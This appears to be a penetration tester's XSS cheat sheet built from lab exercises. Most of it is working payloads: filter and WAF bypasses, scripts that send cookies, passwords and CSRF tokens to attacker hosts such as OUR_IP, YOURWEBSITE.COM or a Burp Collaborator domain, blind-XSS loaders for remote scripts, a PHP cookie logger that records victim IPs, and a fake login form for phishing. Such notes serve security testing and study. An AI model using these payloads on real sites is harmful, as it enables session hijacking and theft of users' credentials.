Cross Site Scripting (XSS)

Reflected XSS

  • Test every entry point.

  • Submit random alphanumeric values

  • Determine the reflection context.

    • This might be in text between HTML tags

    • Within a tag attribute which might be quoted

    • within a JavaScript string

    • etc.

  • Test a candidate payload

    • Send to repeter to facilitated the testing process

  • Test alternative payloads.

    • In order to bypass WAF or Security Protections

  • Test the attack in a browser.

// Basic payload
<script>alert('XSS')</script>

<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS')>
<img src=x onerror=alert('XSS')//
<><img src=x onerror=alert('XSS')>
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>

// Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

XSS in document.write

"><script>alert('XSS')</script>
'><script>alert('XSS')</script>

XSS in innerHTML

Between div tags:

<img src=x onerror=alert('XSS')>

XSS in URI

Identify endpoints such as: https://example.com/feedback?returnPath=PAYLOADHERE then attempt the next payloads:

javascript:prompt(1)

XSS on window.location.hash

https://example.net/#<img%20src=x%20onerror=print()>
<iframe src="https://example.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

XSS when brackets are encoded

if you see the payload is encoded such as: &gt; attempt to inject the payload in the same tag for example

#Example
<input type=text placeholder='Search the blog...' name=search value="PAYLOAD HERE">
#Injecting within the same tage
<input type=text placeholder='Search the blog...' name=search value="" onmouseover="alert(1)">

XSS when double quotes are encoded

Find any other parameter where the input is reflected such as href:

javascript:alert(1)

XSS into a JavaScript string with angle brackets HTML encoded

If the payload is reflected in a structure such as: var searchTerms = 'mypayload';

'; alert(1); '

DOM XSS in AngularJS expression

if you identified a ng-app word in html is worth to try this payload:

{{constructor.constructor('alert(1)')()}}

Reflected DOM XSS

This application uses a vulnerable JavaScript script that utilizes the eval function to process a parameter passed into the application and reflects it onto the website.

function search(path) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            eval('var searchResultsObj = ' + this.responseText);
            displaySearchResults(searchResultsObj);
        }
    };
    xhr.open("GET", path + window.location.search);
    xhr.send();

    function displaySearchResults(searchResultsObj) {
        var blogHeader = document.getElementsByClassName("blog-header")[0];
        var blogList = document.getElementsByClassName("blog-list")[0];
        var searchTerm = searchResultsObj.searchTerm
        var searchResults = searchResultsObj.results

Exploit:

GET /search-results?search=12345\"};alert(1);// 

Reflected XSS into HTML context with tags and attributes blocked

Use https://portswigger.net/web-security/cross-site-scripting/cheat-sheet to retrieve a list of all tags an events and fuzz using intruder to obtain the valid tags and events and craft the xss payload.

<iframe src="https://0a5a00da04386d03824bd49800ba000f.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

<script>
location = 'https://0a5a00da04386d03824bd49800ba000f.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>

if the espace character is encoded you could use %09 (tab) to bypass the space restriction.

<--Example of canonical link that encode brakets and space-->
<link rel="canonical" href='https://0a8b00c004a774198352284200910030.web-security-academy.net/?param=1'/>

<--To bypass the space-->
1'%09onclick=alert(1)%09accesskey='x

Reflected XSS into a javascript string with single quote and blackslash escaped

'</script><script>alert(1)</script>';

Example 1: Simple cookie steal

<script type="text/javascript">
    document.location='https://YOURWEBSITE.COM/cookiestealer.php?c='+encodeURIComponent(btoa(document.cookie));
</script>

Example 2: Cookie steal without user interaction

<script>
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

Example 3: Sending data via post

function steal() {
    var token = document.getElementsByName('csrf')[0].value;
    var username = document.getElementsByName('username')[0].value;
    var password = document.getElementsByName('password')[0].value;

    var data = new FormData();
    data.append('csrf', token);
    data.append('postId', 8);
    data.append('comment', `${username}:${password}`);
    data.append('name', 'example');
    data.append('email', 'intrusionz3r0@example.com');
    data.append('website', 'http://test.com');

    fetch('/post/comment', {
        method: 'POST',
        mode: 'no-cors',
        body: data
    });
}

Example 4: Sending data via Get

function steal() {
    var token = document.getElementsByName('csrf')[0].value;
    var username = document.getElementsByName('username')[0].value;
    var password = document.getElementsByName('password')[0].value;

    var exfiltratedData = `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}&csrf=${encodeURIComponent(token)}`;

    var img = new Image();
    img.src = `http://tu-servidor.com/steal?${exfiltratedData}`;
}

Example 5: Change Email information

var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};

How to hunt Blind XSS

  1. Set up a http server

  2. Select the payload :

<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'http://OUR_IP\\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings

  1. You have to test each input field by using a <field-name>.js in a such way that when it is processed the vulnerable field will hit your server.

    1. <script src=http://OUR_IP/fullname>

    2. <script src=http://OUR_IP/profileimage>

    3. <script src=http://OUR_IP/text>

      image.png
  2. Send the request and if you are lucky it will hit the serve and you will know which is the vulnerable field.

sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) ...
10.129.244.32 - - [15/Oct/2024 21:56:11] "GET /Profile HTTP/1.1" 404 -

XSS Session hijaking

  1. Set up the php server

  2. Select the payload: "><script src=http://OUR_IP></script>

  3. Create the script.js

new Image().src='http://OUR_IP/index.php?c='+document.cookie
  1. Create the index.php

<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\\n");
        fclose($file);
    }
}
?>
  1. Send to the vulnerable field.

XSS via uploaded image

Intrusionz3r0@htb[/htb]$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg

XSS via SVG

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "<http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd>">
<svg xmlns="<http://www.w3.org/2000/svg>" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>

Form Malicious Payload

<h3>Please login to continue</h3>
<form action=http://10.10.14.17/test.php>
    <input type="username" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" name="submit" value="Login">
</form>
document.write('FORM-HERE')

Tools:

Awesome resources

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting

Last updated